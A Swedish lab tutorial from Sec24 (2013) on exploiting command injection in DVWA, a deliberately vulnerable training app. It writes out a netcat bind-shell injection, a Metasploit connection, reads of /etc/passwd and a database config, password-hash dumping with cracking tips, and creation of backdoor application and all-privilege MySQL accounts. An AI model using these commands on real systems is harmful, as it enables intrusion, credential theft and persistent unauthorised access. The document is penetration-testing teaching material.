Sec24 – Command Execution – Command Execution Metasploit

Av: Oscar Andersson, Sec24, 2013-05-28

OBS:  Följande guide är för utbildningssyfte enbart och får absolut inte användas för olagliga ändamål.

Denna guide utgår ifrån att du har satt upp en DVWA – Damn Vulnerable Web Application, ansluten till denna och det är även rekommenderat att du kollat igenom Command Execution Basic. Har du ingen testmiljö är det bara att följa guiden: Sätta upp en testmiljö. Det krävs även att du har operativsystemet BackTrack eller Kali.

När du väl är inloggad börjar du med att trycka på fliken DVWA Security. Här kan du välja vilken säkerhetsnivå hemsidan ska ha. I den här introduktionsguiden sätter vi säkerhetsnivån till low och trycker på submit.

Jag använder operativsystemet Kali och webbläsaren Iceweasel.

Kör följande kommando och klicka på submit. IP-adressen är tagen från min DVWA-server (Ubuntu).

192.168.1.57; mkfifo /tmp/pipe; sh /tmp/pipe | nc -l 4444 > /tmp/pipe

mkfifo = skapar en FIFO som heter pipe.

Pipes tillåter två olika processer att kommunicera med varandra utan de har programmerats för att jobba tillsammans. Det här gör att två processer kan ansluta till NetCat.

nc -l 4444 = gör att NetCat lyssnar och tillåter anslutningar på port 4444.

Sec24 hur hackar man DVWA penetrationstest command execution netcat 2

Om allt gått rätt till ska det se ut som ovan. NetCat lyssnar nu på porten 4444.

Starta nu upp BackTrack eller Kali.

Navigera i BackTrack till:

Applications -> BackTrack -> Exploitation Tools -> Network Exploitation Tools -> Metasploit Framework -> msfconsole.

Kali:

Applications -> Kali Linux -> Top 10 Security Tools -> metasploit framework.

Sec24 hur hackar man DVWA penetrationstest command execution metasploit 1

Vi ska nu använda Metasploit för att ansluta till Netcat sessionen.

Vi kör följande kommandon:

use multi/handler

set PAYLOAD linux/x86/shell/bind_tcp (Payload är mjukvaran som låter dig styra ett datorsystem efter det har tagits över. Payloaden är oftast ansluten till och levereras av exploiten. Tänk er att exploiten bär payloaden i en ryggsäck när den bryter sig in i ett datorsystemet och sedan lämnar expoliten ryggsäcken därinne.)

show options

set RHOST 192.168.1.57 (IP-adressen till DVWA-servern)

exploit

Sec24 hur hackar man DVWA penetrationstest command execution metasploit 2

Du är nu ansluten till servern. Kör kommandot whoami för att se vilken användare du är inloggad som. Jag får fram “www-data” men det skulle även kunna vara apache eller något annat. Användaren vi vill åt är root.

Sec24 hur hackar man DVWA penetrationstest command execution metasploit 3

För att ta reda på om användaren kan logga in via fjärranvädning körs kommandot: grep www-data /etc/passwd. Det får vi nu fram att användaren kan göra. Hade kontot varit spärrat för fjärråtkomst hade det istället för “www-data:/var/www:/bin/sh” stått “www-data:/var/www:/sbin/nologin”. Vi vill även se om www-data tillhör några andra grupper. Det gör vi via kommandot: grep www-data /etc/group. Här framgår det att www-data inte tillhör några andra grupper. För att läsa mer om filsystems hierarki kan ni göra det på följande länk: Filesystem Hierarchy Standard

Sec24 hur hackar man DVWA penetrationstest command execution metasploit 4

Vill vi se processerna för Apache webbservern kör vi kommandot: ps -eaf | grep http. Detta då apache webbservrar ofta har en daemon som kallas httpd. Men med detta kommandot hittar jag ingenting förutom mitt egna grep-kommando. Jag provar nu att söka efter apache istället ps -eaf | grep apache. Nu får jag fram processerna som ägs av www-data och som är anledningen till att vi är ansluta som www-data. Om jag vill få fram alla processer som ägs av www-data kör jag kommandot: ps -eaf | grep www-data. Detta är intressant för nu ser vi även kommandot vi skickat via DVWA, pipen och netcat som lyssar på port 4444. Vill jag se alla processer för alla användare är det istället enbart ps -eaf. För att läsa mer om kommandot ps gör ni det här.

Sec24 hur hackar man DVWA penetrationstest command execution metasploit 5

Vi samlar nu på oss mer information:

pwd (Skriver ut katalogen som används för närvarande, alltså var netcat-kommandot exekverades ifrån)

ls -ld /var/www (Vi testar vem som äger rootkatalogen för www. Om katalogen ägts av www-data istället för root hade vi kunnat ändra om hemsidan. Populärt för så kallat website defacement.

ls -ld /var/www/dvwa (Ser nu vem ägaren är för DVWA-mappen. Tyvärr har www-data enbart läs- och exekveringsrättigheter)

ls -l /var/www/dvwa (Listar innehållet i DVWA-katalogen. Här ser vi mappen “config” och den är alltid intressant då den ofta innehåller databasinformation eller liknande.)

Sec24 hur hackar man DVWA penetrationstest command execution metasploit 7

ls -l /var/www/dvwa/config (Visar konfigurationsfiler som har rättighetsproblem. Rättigheterna är satta till 644 som innebär att alla kan läsa av den här filen. För att läsa mer om Linux filrättigheter och hur -rw-r–r– ska tolkas gör ni här.)

cat /var/www/dvwa/config/config.inc.php 

Här får vi nu fram att databasanvändaren är root och att inget lösenord är satt.

Sec24 hur hackar man DVWA penetrationstest command execution metasploit 9

Nu kan vi lista databaserna på servern och sedan läsa/skriva information från/till dessa.

echo “show databases;” | mysql -uroot (Listar alla databaser på servern. Om användaren “root” hade haft lösenordet “password” skulle kommandot istället blivit: echo “show databases;” | mysql -uroot -ppassword.)

echo “use dvwa; show tables;” | mysql -uroot (Visar alla tabeller i dvwa-databasen)

echo “use dvwa; desc users;” | mysql -uroot (Beskriver kolumnerna i tabellen users)

echo “select user,password from dvwa.users;” | mysql -uroot (Tar fram användare och lösenord från databasen. Skulle vi vilja skriva ut alla kolumner används istället kommandot: echo “select * from dvwa.users;” | mysql -uroot. De krypterade lösenorden kan knäckas med ett program som John the Ripper eller ett liknande program.)

Sec24 hur hackar man DVWA penetrationstest command execution metasploit 10

Beroende på hur starkt lösenordet är, vilken kryptering och salt som används så är det olika svårt att knäcka lösenordshashen. I det här fallet går de att få fram lösenorden på några sekunder genom att kopiera in hasharna på siten md5decrypter.co.uk.

Vi ska nu skapa en ny användare i dvwa.users tabellen.

echo “insert into dvwa.users values (‘6′,’Oscar’,’Andersson’,’OA’,MD5(‘abc123′),’NA’);” | mysql -uroot

echo “select user,password from dvwa.users;” | mysql -uroot (Listar användare och lösenord, samma som innan.)

Sec24 hur hackar man DVWA penetrationstest command execution metasploit 11

Nästa steg är om möjligt ännu allvarligare. Vi ska nu skapa en användare som har fulla privilegier för alla databaser på servern. Detta är möjligt genom masterdatabasen “mysql” som innehåller användarautentisering och ACLs (Access Control List). Det är tabellen mysql.user vi är intresserade av.

echo “show databases;” | mysql -uroot

echo “use mysql; show tables;” | mysql -uroot

Sec24 hur hackar man DVWA penetrationstest command execution metasploit 13

Kommandot som faktiskt skapar en ny användare med namnet och “oscar” och lösenordet “abc123” är följande:

echo “use mysql; GRANT ALL PRIVILEGES ON *.* TO ‘oscar’@’%’ IDENTIFIED BY ‘abc123’ WITH GRANT OPTION;” | mysql -uroot

echo “use mysql; desc user;” | mysql -uroot (Visar kolumnerna i mysql.user tabellen)

echo “select User from mysql.user;” | mysql -uroot (För att få fram all information i tabellen mysql.user används kommandot: “echo “select * from mysql.user;” | mysql -uroot”)

Sec24 hur hackar man DVWA penetrationstest command execution metasploit 14

Vi har nu både en användare i applikationen DVWA samt en användare med total kontroll över alla databaser på servern.